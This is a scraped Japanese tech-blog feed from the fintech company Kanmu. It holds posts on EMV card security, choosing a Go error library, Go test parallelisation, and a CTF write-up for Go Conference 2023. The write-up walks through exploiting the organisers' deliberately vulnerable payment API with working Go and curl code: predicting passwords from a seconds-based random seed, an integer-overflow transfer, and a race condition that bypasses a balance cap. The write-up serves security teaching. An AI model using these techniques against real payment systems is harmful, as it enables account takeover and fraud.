href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>を利用しているので問題はないかもしれません。 イシュアはオーソリとともに飛んできた ARQC を検証し、オーソリ自体が改ざんされていないかのチェックを行います。イシュア側での検証は、イシュア側でも <a class="keyword" href="https://d.hatena.ne.jp/keyword/ICC">ICC</a> Master Key を使って同様の<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>で ARQC の生成を行いそれの照合を行う形となります。こちらの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%A2%A5%EB%A5%B4%A5%EA%A5%BA%A5%E0">アルゴリズム</a>についても <a class="keyword" href="https://d.hatena.ne.jp/keyword/EMV">EMV</a> の仕様書に詳細が書かれているので興味がある方は追ってみてください。</p> <h3 id="54-その他の処理">5.4 その他の処理</h3> <p>Terminal Risk Management, Terminal Action Analysis, Card Action Analysis, Script Processing についても少し触れておきます。Terminal Risk Management, Terminal Action Analysis, Card Action Analysis は購入金額であったり、端末に挿入されたカードのICチップの設定や決済の履歴(前回の決済のOK/NG結果は記録されているはず)、Data Authentication の結果がどうだったか、などを総合してそこでなんらかの制限をかけたり、 Online / Offline Decision の分岐を決めるようなフェーズです。Online / Offline Decision の分岐で Offline となった場合はオーソリがイシュアに飛んでこないケースもあると思われます。カンムの IC の設定は必ずオーソリをオンラインに飛ばす設定で作ってありますがオフラインで完結するケースも例外としてあります。オフラインで完結した場合、後日飛んでくる実売り上げ (<a href="https://tech.kanmu.co.jp/entry/2021/06/29/131649">https://tech.kanmu.co.jp/entry/2021/06/29/131649</a> の「1.2. オーソリとクリアリング」参照)で決済金額が確定します。</p> <p>Script Processing ですが、カンムのカードにはその仕組みを入れていないのであまり詳しく調べていないのですが、イシュア側から IC チップのデータを操作するような仕組みです。PIN入力失敗回数を記録するカウンタが IC に入っていることは述べました。PIN 入力を連続で間違えるとカウントアップしていき、それが<a class="keyword" href="https://d.hatena.ne.jp/keyword/%EF%E7%C3%CD">閾値</a>(これも IC に入ってます)を超えるとICチップの利用が制限されます。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%EF%E7%C3%CD">閾値</a>に到達する前に正しい PIN が入力されるといったんリセットされるのですが、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%EF%E7%C3%CD">閾値</a>に到達してしまい制限がかかってしまった場合はどうやってリセットするのでしょうか?ここで登場するのが Script Processing のフェーズで実行される Issuer Script という仕組みです。これを使うと PIN 入力失敗回数が上限に達した場合もそれをリセットすることができます。カンムのカードは実装していないので、連続で間違えるとカードが使えなくなり再発行する流れになります。推測ですが、おそらく多くのカード会社はこれを実装していないと思います。他社のカードについて調べると、PIN を複数回連続で間違えてロックがかかった場合は再発行します、と書かれている会社が多いので。</p> <h2 id="6-タッチ決済の処理フロー">6. タッチ決済の処理フロー</h2> <p>タッチ決済のフローですが「5. ICチップ決済の処理フロー」のフロー図とほぼ同じで、ここから本人認証をスキップしたものがタッチ決済のフローになるイメージです。ただ正確にいうと Cardholder Verification は行われるため、リスク分析の結果として PIN ありの IC に移行する可能性もあります。セキュリティの向上のために IC チップ搭載のカードが登場したが今度は利便性のためにPIN入力をスキップしたタッチ決済が後から登場するのがおもしろいところです。</p> <h2 id="7-まとめ">7. まとめ</h2> <ul> <li>各種<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B7%E8%BA%D1%BC%EA%C3%CA">決済手段</a>のセキュリティ的な問題点とその対策について説明した。</li> <li>マグストライプは本人確認がサインの目視確認という点で弱く、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>の脅威もある。</li> <li>オンライン決済は本人確認がなく、強いて言うなら CVV2 の入力だが、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D6%A5%EB%A1%BC%A5%C8%A5%D5%A5%A9%A1%BC%A5%B9%B9%B6%B7%E2">ブルートフォース攻撃</a>に弱く、カード券面を見られてそれを記憶されてしまうと不正利用できてしまう。</li> <li>対策方法は存在しているがイシュア側や加盟店側の対策に加えてユーザ自身も不正利用のリスクを意識する必要がある。</li> <li>IC はマグストライプの弱点であるセキュリティ面の強化がされていて、カード認証、本人認証、取引認証という概念がある。カード認証によりチップの改ざん検知を、本人認証にPINが使えることによりサインよりも強力な本人確認を、取引認証でオーソリの完全性を担保することができる。</li> </ul> <p>最後はお約束のこちら↓になります。個人的には今は泥臭い不正対策で頑張っているのでそこをリッチにしていきたいと思っています。それをやりたいような人に来てもらえると嬉しいです。マグストライプのセキュリティの弱さを埋めるために IC が登場しましたがこちらにももちろん穴はあり、また不正利用のトレンドや手段は年々変わるのでイシュアとして常にそれをモニタリングして防御する必要があり、そこもやっていきたいです。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> <p>おわり</p> <div class="footnote"> <p class="footnote"><a href="#fn-c0d7019a" name="f-c0d7019a" class="footnote-number">*1</a><span class="footnote-delimiter">:</span><span class="footnote-text">なお<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A5%DF%A5%F3%A5%B0">スキミング</a>は犯罪です。本記事から得られた知識を悪用した場合の責任は一切負いません。</span></p> </div> kanmu-tech 次なる`pkg/errors`を探して hatenablog://entry/820878482942153722 2023-06-19T15:00:00+09:00 2023-06-19T15:00:02+09:00 エンジニアの宮原です。 今回はGoでスタックトレースを取得するライブラリ選定についての記事です。 この記事は 【Gophers Talk】スポンサー4社による合同LT & カンファレンス感想戦で発表したものです。 発表スライドはこちらから確認できます。 この記事の目的 この記事ではpkg/errorsからの移行先を探すための参考情報を提供することを目的とします。 Goのエラーハンドリングのやり方等についてこの記事では触れないこととします。 pkg/errors とはなにか pkg/errorsとは、githubのREADMEを引用すると Package errors provides simp… <p>エンジニアの<a href="https://twitter.com/always_allokay">宮原</a>です。 今回はGoで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>を取得するライブラリ選定についての記事です。<br/> この記事は <a href="https://mirrativ.connpass.com/event/282174/">【Gophers Talk】スポンサー4社による合同LT &amp; カンファレンス感想戦</a>で発表したものです。 <a href="https://speakerdeck.com/always_allokay/errorswotan-site">発表スライドはこちら</a>から確認できます。</p> <h2 id="この記事の目的">この記事の目的</h2> <p>この記事では<code>pkg/errors</code>からの移行先を探すための参考情報を提供することを目的とします。 Goのエラーハンドリングのやり方等についてこの記事では触れないこととします。</p> <h2 id="pkgerrors-とはなにか"><code>pkg/errors</code> とはなにか</h2> <p>pkg/errorsとは、<a class="keyword" href="https://d.hatena.ne.jp/keyword/github">github</a>のREADMEを引用すると</p> <blockquote><p>Package errors provides simple error handling primitives.</p></blockquote> <p>とあり、直訳すると、「エラーハンドリングの基礎を提供するパッケージ」となります。 pkg/errorsを利用することで、Go本体にはない<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>を簡単に実現できます。 また、Go1.20でJoinが追加されるまでは、標準errorsのスーパーセットとなっていたという点も特徴でした。</p> <h3 id="pkgerrors-からなぜ移行するのか"><code>pkg/errors</code> からなぜ移行するのか</h3> <p>重複する記述になってしまいますが、Go1.20で標準errorsに更新が入り、pkg/errorsとの間に差分が発生しました。 この差分は解消する見込みがありません。プロジェクトとしてPublic Archiveとなってしまっているからです。</p> <p>Public Archiveとなった経緯についてすこし補足します。<br/> 前回の標準errorsの更新(Go1.13)で修正の元となった<a href="https://go.googlesource.com/proposal/+/master/design/go2draft.md">Go2 Draft Designs</a> というドキュメントがあります。このドキュメントではいずれGo本体から<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>が提供されることが示されました。 つまり、将来的にpkg/errorsが不要になることがほぼ確定しました。そのタイミングでpkg/errorsはメンテナンスモードになり、さらにすすんで2021年12月にPublic Archiveに至った、という経緯のようです。</p> <h2 id="移行先に求めるもの">移行先に求めるもの</h2> <p>3 点あります。</p> <ul> <li>移行のしやすさ</li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート</li> <li>性能が大きく劣化しないこと</li> </ul> <p>「移行のしやすさ」は、標準errors、pkg/errorsとの互換性です。 ここでいう互換性とは、「関数、メソッドの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B7%A5%B0%A5%CB%A5%C1%A5%E3">シグニチャ</a>が一致しているか」、「機能をもれなくカバーしているか」といった点を想定しています。 Go本体への追従のしやすさを高めることと、今回の移行作業のコストを抑えることにつながります。</p> <p>「<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート」は <code>pkg/errors</code>がカバーしていた範囲を引き継ぐ必要があるためです。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>は、バグ解消に直結する情報を含むので重要です。</p> <p>「性能が大きく劣化しないこと」は速い方がいい、メモリフットプリントは小さいほどよい、というシンプルな理由です。</p> <h2 id="移行の選択肢">移行の選択肢</h2> <p>最終的な候補となったのは以下2つのライブラリでした。</p> <ul> <li><a href="https://github.com/cockroachdb/errors">cockroachdb/errors</a></li> <li><a href="https://github.com/goark/errs">goark/errs</a></li> </ul> <p>これらを深く見ていく前に、検討したものの詳しい調査の対象外としたライブラリについて触れておきます。</p> <h3 id="一度候補となったものの細かい調査の対象外としたもの">一度候補となったものの、細かい調査の対象外としたもの</h3> <ul> <li><a href="https://cs.opensource.google/go/x/xerrors">x/xerrors</a></li> <li><a href="https://github.com/morikuni/failure">morikuni/failure</a></li> <li>標準ライブラリを使った自前実装</li> </ul> <p>xerrorsについて。Goチームが提供していたライブラリです。レポジトリの<a href="https://cs.opensource.google/go/x/xerrors/+/master:README">README</a>から確認できますが、このライブラリはGo1.13までの橋渡しとしての位置付けであり、すでに役割を終えたと言えるでしょう。すでに大部分がdeprecatedにもなっており、これから採用するべきではないと判断しています。</p> <p>morikuni/failureについて。エラーコードベースのハンドリングを前提としており、pkg/errorsとは使われ方が異なるので、今回は移行のハードルが高いと判断しました。以下リンクが参考になります。 <a href="https://future-architect.github.io/articles/20200522/">https://future-architect.github.io/articles/20200522/</a> <a href="https://speakerdeck.com/morikuni/designing-errors?slide=33">https://speakerdeck.com/morikuni/designing-errors?slide=33</a></p> <p>標準ライブラリを使った自前実装について。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>にたいして固有の要件というのはなく、改めて開発するメリットが薄いため、除外としています。</p> <p>ということで、再掲ですが、最終的な候補ふたつ<a href="https://github.com/cockroachdb/errors">cockroachdb/errors</a>、<a href="https://github.com/goark/errs">goark/errs</a>を「 移行のしやすさ」、「<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート」、「性能が大きく劣化しないこと」の点で評価していきます。</p> <h2 id="移行先の評価">移行先の評価</h2> <p>前述した要件について箇条書きで記載します。</p> <h3 id="cockroachdberrorsの評価">cockroachdb/errorsの評価</h3> <ul> <li>移行のしやすさ <ul> <li>pkg/errorsのスーパーセットとなっており、基本的にはパッケージを切り替えるのみで、ほとんど置き換え作業が終わる点は魅力的です。</li> <li>Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があるものの、<a href="https://github.com/cockroachdb/errors/issues/99">issue</a>で対応中のようでした。</li> </ul> </li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート <ul> <li>サポートされています。</li> </ul> </li> <li>性能が大きく劣化しないこと <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a>の結果を後述します。</li> </ul> </li> </ul> <h3 id="goarkerrsの評価">goark/errsの評価</h3> <ul> <li>移行のしやすさ <ul> <li>pkg/errorsとは、New、Wrapなど一部の関数は互換性あります。</li> <li>Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があります。</li> </ul> </li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート <ul> <li>サポートされています。</li> </ul> </li> <li>性能が大きく劣化しないこと <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a>の結果を後述します。</li> </ul> </li> </ul> <h3 id="ベンチマーク"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a></h3> <p>性能評価のために、簡易な<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a>を取りました。<br/> benchmarkの<a href="https://github.com/miyataka/benchmark_pkg_errors_alternatives">テストコード、結果はこちら</a>です。<br/> 「ネストしたerror生成時の速度とフットプリント」、「<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>出力時の速度とフットプリント」の2つのケースについて、結果を抜粋して見ていきます。</p> <p>※以下の結果は、マイクロ<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a>であり、実際の環境では異なる結果となる可能性があることに注意してください。</p> <p><strong>ネストしたerror生成時の速度とフットプリント</strong></p> <table> <thead> <tr> <th> package </th> <th> ns/op </th> <th> B/op </th> <th> allocs/op </th> </tr> </thead> <tbody> <tr> <td> pkg/errors </td> <td> 8240 </td> <td> 304 </td> <td> 3 </td> </tr> <tr> <td> cockroachdb/errors </td> <td> 8640 </td> <td> 416 </td> <td> 7 </td> </tr> <tr> <td> goark/errs </td> <td> 7885 </td> <td> 648 </td> <td> 7 </td> </tr> </tbody> </table> <p>cockroachdb/errorsは、速度約5%pt、メモリ使用量約37%pt悪化、<br/> goark/errsは、速度約4.5%pt改善、メモリ使用量は約2倍に悪化<br/> という結果となりました。</p> <p><strong><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>出力時の速度とフットプリント</strong></p> <table> <thead> <tr> <th> package </th> <th> ns/op </th> <th> B/op </th> <th> allocs/op </th> </tr> </thead> <tbody> <tr> <td> pkg/errors </td> <td> 12849 </td> <td> 3716 </td> <td> 33 </td> </tr> <tr> <td> cockroachdb/errors </td> <td> 14867 </td> <td> 17222 </td> <td> 22 </td> </tr> <tr> <td> goark/errs </td> <td> 1896 </td> <td> 1401 </td> <td> 33 </td> </tr> </tbody> </table> <p>cockroachdb/errorsは、速度が約15%pt、メモリ使用量が約4.6倍に悪化、<br/> goark/errsは、速度が約6倍改善、メモリ使用量は63%pt改善<br/> という結果となりました。</p> <p>最後に結果をまとめた表を示します。</p> <h3 id="評価まとめ">評価まとめ</h3> <table> <thead> <tr> <th> package </th> <th> 標準errorsとの互換性 </th> <th> pkg/errorsとの互換性 </th> <th> <a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%BF%A5%C3%A5%AF%A5%C8%A5%EC%A1%BC%A5%B9">スタックトレース</a>のサポート </th> <th> 性能 </th> </tr> </thead> <tbody> <tr> <td> errors(比較用) </td> <td> - </td> <td> - </td> <td> ❌ </td> <td> - </td> </tr> <tr> <td> pkg/errors (比較用) </td> <td> ❌※1※2 </td> <td> - </td> <td>⭕️ </td> <td> baseline </td> </tr> <tr> <td> cockroachdb/errors </td> <td> 🔺※1 </td> <td> ⭕️ </td> <td> ⭕️ </td> <td>🔺 </td> </tr> <tr> <td> goark/errs </td> <td> 🔺 ※1 </td> <td> 🔺 </td> <td> ⭕️ </td> <td>⭕️ </td> </tr> </tbody> </table> <ul> <li>※1: いずれもGo1.13時点でのIs, As, Unwrap対応済み. Go1.20時点でのJoinは未実装</li> <li>※2: 今後もサポートされる見込みがないため、相対的に悪い評価をつけている</li> </ul> <h2 id="記事のまとめ">記事のまとめ</h2> <p>今回は最終的に<code>cockroachdb/errors</code>がpkg/errorsの移行先の本命と評価しています。<br/> 移行のしやすさ(互換性)の面では、<code>pkg/errors</code>のスーパーセットとなっており、置き換えが容易である点を評価しました。 性能については悪化するものの、自社での<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>サーバーとしての<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A1%BC%A5%B9%A5%B1%A1%BC%A5%B9">ユースケース</a>では、ネットワーク往復の時間が支配的であることから劣化は問題ない範囲であると判断しました。</p> <p>最後に、今回の評価が唯一の正解ではありません。それぞれの文脈、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A1%BC%A5%B9%A5%B1%A1%BC%A5%B9">ユースケース</a>を踏まえたうえで、ベストな選択肢を検討することが重要です。 上記はライブラリ選定の一例として参考していただけると幸いです。</p> caffeine_addict Go Conference 2023 CTF: 標準ライブラリの利用ミスに関わる脆弱性 hatenablog://entry/820878482933545147 2023-06-02T17:31:45+09:00 2023-06-02T17:31:45+09:00 セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。 問題はこちらになります。 github.com 本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください! 1. 問題の解説 今回出題した問題は、バンドルカードのような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。 パスワードリセット 残高確認 送金 この問題では、残高が9,999,999を超えたときに残高確認APIにアクセスすることでフラグが出力されるようになっています。 … <p>セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。</p> <p>問題はこちらになります。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fgithub.com%2Fkanmu%2Fgocon-2023-office-hour%2F" title="GitHub - kanmu/gocon-2023-office-hour: Go Conference 2023 カンムオフィスアワーの CTF 問題" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://github.com/kanmu/gocon-2023-office-hour/">github.com</a></cite></p> <p>本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください!</p> <h2 id="1-問題の解説">1. 問題の解説</h2> <p>今回出題した問題は、<a href="https://vandle.jp/">バンドルカード</a>のような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。</p> <ul> <li>パスワードリセット</li> <li>残高確認</li> <li>送金</li> </ul> <p>この問題では、残高が9,999,999を超えたときに残高確認<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>にアクセスすることでフラグが出力されるようになっています。 まず既存のアカウントにアクセスすることを目指してもらい、次に残高を増やすことを目指してもらうという2段構成になっています。</p> <h2 id="2-出題の意図">2. 出題の意図</h2> <p>2021年頃に標準ライブラリにおける既知の<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を利用した問題を出題していました。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Ftech.kanmu.co.jp%2Fentry%2F2021%2F11%2F13%2F183011" title="Go Conference 2021 Autumn CTF: Go 1.16.4 に含まれる脆弱性を突いてリバースプロキシを突破する - カンムテックブログ" class="embed-card embed-blogcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 190px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://tech.kanmu.co.jp/entry/2021/11/13/183011">tech.kanmu.co.jp</a></cite></p> <p>ここから発展させて何かできないかを考えて、 <strong>「言語や標準ライブラリに<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>がなくとも、標準ライブラリの利用方法によっては<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>になりうる」</strong> というメッセージを伝えられる問題になれば良いなと考えて問題を作成しました。</p> <h2 id="3-想定解">3. 想定解</h2> <p>ここからは想定解の解説を行います。 想定解は以下の通りです。</p> <ol> <li>math/randの脆弱なシードを使って既存のアカウントにアクセス</li> <li>Integer overflowを使ってお金の増殖</li> <li>TOCTOUでアカウントの上限金額をバイパス</li> </ol> <p>これらについて、順番に解説します。</p> <h3 id="1-mathrandの脆弱なシードを使ってアカウントにアクセス">1. math/randの脆弱なシードを使ってアカウントにアクセス</h3> <p>この<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>にはアカウント登録機能がありません。 残高確認や送金を行うためには、既存のアカウントにアクセスする必要があります。</p> <p>アカウント名はハードコーディングされているためすぐに分かりますが、パスワードはgeneratePassword関数で生成されているため、すぐには分かりません。</p> <p>パスワードが更新されているのは、初回起動時とパスワードリセット<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>の2箇所のみです。</p> <pre class="code lang-go" data-lang="go" data-unlink>users[req.Id].Password = generatePassword(time.Now().Unix()) </pre> <p>パスワードリセット<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>に注目してみると、精度が秒のUnixtimeが利用されており、推測可能です。</p> <p>以下のようなコードでパスワードを取得できます。</p> <pre class="code lang-go" data-lang="go" data-unlink>password := generatePassword(time.Now().Unix()) passwordReset(&amp;User{Id: <span class="synConstant">&quot;alice&quot;</span>}) passwordReset(&amp;User{Id: <span class="synConstant">&quot;bob&quot;</span>}) fmt.Println(password) </pre> <p>これで alice / bob のアカウントにアクセスできるようになりました。</p> <h3 id="2-Integer-overflowを使ってお金の増殖">2. Integer overflowを使ってお金の増殖</h3> <p>alice / bob のアカウントにアクセスできるようになりましたが、aliceもbobもお金を持っていないようです。 何かしらの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>を悪用してお金を増やさなければなりません。 3つある機能のうち、お金の増減があるのは送金機能のみなので、ここに注目します。</p> <p>まずは適当に送金してみます。</p> <pre class="code bash" data-lang="bash" data-unlink>[~]$ curl -XPOST http://localhost:8080/transfer -H &#39;X-ID: alice&#39; -H &#39;X-Password: FuPaccCEi9sr&#39; -d &#39;{&#34;recipient_id&#34;: &#34;bob&#34;, &#34;amount&#34;: &#34;1&#34;}&#39; {&#34;error&#34;: &#34;Insufficient balance&#34;} [~]$ curl -XPOST http://localhost:8080/transfer -H &#39;X-ID: alice&#39; -H &#39;X-Password: Qam86lQgE6c2&#39; -d &#39;{&#34;recipient_id&#34;: &#34;bob&#34;, &#34;amount&#34;: &#34;-1&#34;}&#39; {&#34;error&#34;: &#34;Amount validation failed: -1&#34;} [~]$ curl -XPOST http://localhost:8080/transfer -H &#39;X-ID: alice&#39; -H &#39;X-Password: FuPaccCEi9sr&#39; -d &#39;{&#34;recipient_id&#34;: &#34;bob&#34;, &#34;amount&#34;: &#34;9999999999999&#34;}&#39; {&#34;error&#34;: &#34;Insufficient balance&#34;} [~]$ curl -XPOST http://localhost:8080/transfer -H &#39;X-ID: alice&#39; -H &#39;X-Password: VBjIzAlNLhXj&#39; -d &#39;{&#34;recipient_id&#34;: &#34;bob&#34;, &#34;amount&#34;: &#34;-9999999999999&#34;}&#39; {&#34;error&#34;: &#34;Amount validation failed: -1316134911&#34;}</pre> <p>いろんな数値を試しながら送ってみると、-9999999999999を送金しようとしたときに-1316134911という数値がエラーメッセージに出ていることに気づきます。</p> <p>なにやら数値がオーバーフローしていそうなので、送金する数値をうまく調整することでお金を生み出せそうです。</p> <pre class="code lang-go" data-lang="go" data-unlink>from := &amp;User{Id: <span class="synConstant">&quot;alice&quot;</span>, Password: <span class="synConstant">&quot;VBjIzAlNLhXj&quot;</span>} to := &amp;User{Id: <span class="synConstant">&quot;bob&quot;</span>, Password: <span class="synConstant">&quot;VBjIzAlNLhXj&quot;</span>} transfer(from, to, strconv.Itoa(math.MinInt64+<span class="synConstant">1000000</span>)) </pre> <p>「int64型の最上位bitのみ立っている数値 (math.MinInt64) + 送金したい金額」を送ることで、バリデーションをすり抜けてお金を増やすことができました。</p> <h3 id="3-TOCTOUでアカウントの上限をバイパス">3. TOCTOUでアカウントの上限をバイパス</h3> <p>このアプリケーションには、アカウントの上限金額が設定されているため、最後にこれをバイパスしなければなりません。</p> <pre class="code lang-go" data-lang="go" data-unlink> <span class="synStatement">if</span> users[to].Balance+<span class="synType">int32</span>(amount) &gt; <span class="synConstant">9999999</span> { </pre> <p>コードを読んで気づくしか無いのですが、実は送金<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>にはロックがありません。 そのため並列に送金<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>を呼び出すと、上記のバリデーションをすり抜けてしまいます。</p> <p>goroutineを使って、並列に送金<a class="keyword" href="https://d.hatena.ne.jp/keyword/API">API</a>を呼び出してみます。(環境や設定によっては並列で動かない場合もあります。)</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">var</span> wg sync.WaitGroup <span class="synStatement">for</span> i := <span class="synConstant">0</span>; i &lt; <span class="synConstant">10</span>; i++ { wg.Add(<span class="synConstant">1</span>) <span class="synStatement">go</span> <span class="synType">func</span>() { <span class="synStatement">defer</span> wg.Done() transfer(from, to, strconv.Itoa(math.MinInt64+<span class="synConstant">1000000</span>)) }() } wg.Wait() flag, _ = balance(to) fmt.Println(flag) </pre> <p>これでフラグゲットです!お疲れさまでした!</p> <h2 id="4-終わりに">4. 終わりに</h2> <p>CTFは楽しんでいただけたでしょうか!</p> <p>カンムではエンジニアを募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。</p> <p><iframe src="https://hatenablog-parts.com/embed?url=https%3A%2F%2Fkanmu.co.jp%2Fjobs%2F" title="採用 | 株式会社カンム" class="embed-card embed-webcard" scrolling="no" frameborder="0" style="display: block; width: 100%; height: 155px; max-width: 500px; margin: 10px 0px;" loading="lazy"></iframe><cite class="hatena-citation"><a href="https://kanmu.co.jp/jobs/">kanmu.co.jp</a></cite></p> <p>最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!</p> mute1008 無理なく始めるGoでのユニットテスト並行化 hatenablog://entry/820878482936647140 2023-06-02T17:24:58+09:00 2023-06-02T19:57:01+09:00 KanmuでPoolを開発しているhataです。最近、ロボット掃除機を買いました。ロボと猫がじゃれている景色はいいですね。 今回はGoのユニットテストの並行化についての記事です。 TL;DR Goのテストは、並行化することでテスト実行時間の短縮やテスト対象の脆弱性の発見などのメリットがある 基本的にはそのままでも最適化されているが、テストコードにt.parallelを記述することでよりきめ細やかな最適化を施すことができる ただし、一定規模以上のアプリケーションへの導入・運用は大変 テストコードを一気に並行化するtparagenというツールや、並行化忘れを防ぐ静的解析ツールがあり、これらを使うこ… <p>Kanmuで<a href="https://pool-card.jp/">Pool</a>を開発しているhataです。最近、ロボット掃除機を買いました。ロボと猫がじゃれている景色はいいですね。 今回はGoの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>の並行化についての記事です。</p> <h2 id="TLDR">TL;DR</h2> <ul> <li><p>Goのテストは、並行化することでテスト実行時間の短縮やテスト対象の<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%C8%BC%E5%C0%AD">脆弱性</a>の発見などのメリットがある</p></li> <li><p>基本的にはそのままでも最適化されているが、テストコードに<code>t.parallel</code>を記述することでよりきめ細やかな最適化を施すことができる</p></li> <li><p>ただし、一定規模以上のアプリケーションへの導入・運用は大変</p></li> <li><p>テストコードを一気に並行化する<a href="https://github.com/sho-hata/tparagen">tparagen</a>というツールや、並行化忘れを防ぐ静的解析ツールがあり、これらを使うことで無理なくテスト並行化の導入・運用ができる</p></li> </ul> <h2 id="はじめに">はじめに</h2> <h3 id="ユニットテスト並行化とは"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>並行化とは</h3> <p>本記事では、「並行」「並列」という用語を使用します。本記事におけるこれらの用語を定義します。</p> <ul> <li><p>並行:<strong>複数の処理を独立に実行できる構成のこと</strong></p></li> <li><p>並列:<strong>複数の処理を同時に実行すること</strong></p></li> </ul> <p>参考1 <sup id="fnref:1"><a href="#fn:1" rel="footnote">1</a></sup> 参考2<sup 